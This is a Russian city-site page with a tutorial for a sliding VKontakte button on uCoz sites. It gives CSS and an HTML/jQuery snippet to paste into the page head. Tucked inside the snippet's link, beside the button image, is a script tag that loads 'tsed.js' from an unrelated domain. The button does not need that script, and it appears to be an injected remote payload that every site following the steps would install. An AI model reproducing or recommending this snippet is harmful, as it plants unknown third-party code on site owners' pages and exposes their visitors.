Приморско-Ахтарск - Мой город Приморско-Ахтарск! - Обзор

Регистрация

Вход
Четверг, 16.01.2025, 04:59
Открой город для себя!               Мой город Приморско-Ахтарск!
PDA версия сайта | ОднаКнопка |Приветствую Вас Гость | RSS
Категории раздела
Всё для uCoz [155]
Скрипты, слайдеры, украшательства
Новости из мира софта [1]
О релизах новых продуктов и версий, а также о значительных событиях из мира софта.
Продвижение сайтов [19]
Продвижение молодых сайтов


Реклама

САЛОН КРАСОТЫ "КЛЕОПАТРА"
kleo

Наш опрос
Какой отдых предпочтительней ?
Всего ответов: 501
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
Главная » 2013 » Декабрь » 10 » Выдвижная кнопка ВКонтакте для uCoz
12:15
Выдвижная кнопка ВКонтакте для uCoz

Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz



Эта кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте».

Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другим хостингом, пример Вы можете увидеть справа.



Установка

1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:



Код

#vkontakte_button img {  
  position: fixed;  
  top:125px;  
  right: -76px;  
  z-index: 99999;  
  cursor: pointer;  
  display: block;  
  }



2.) Следующий код вставляем в любое место на странице между head и /head:




Код
<script type="text/javascript">  
  $(function($) {  
  $("#vkontakte_button img").hover(  
  function () {  
  $(this).animate({right: '0'}, {queue:false, duration: 350});  
  //$(this).css('right', '0');  
  },  
  function () {  
  $(this).animate({right: '-76px'}, {queue:false, duration: 350});  
  // $(this).css('right', '-76px');  
  }  
  );  
  });  
  </script>  
  <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">  
  <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
  </a>




Настройка скрипта



Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..


Вот и все, установка и настройка завершена.
Категория: Всё для uCoz | Просмотров: 628 | Добавил: primahtarsk | Рейтинг: 0.0/0
Поиск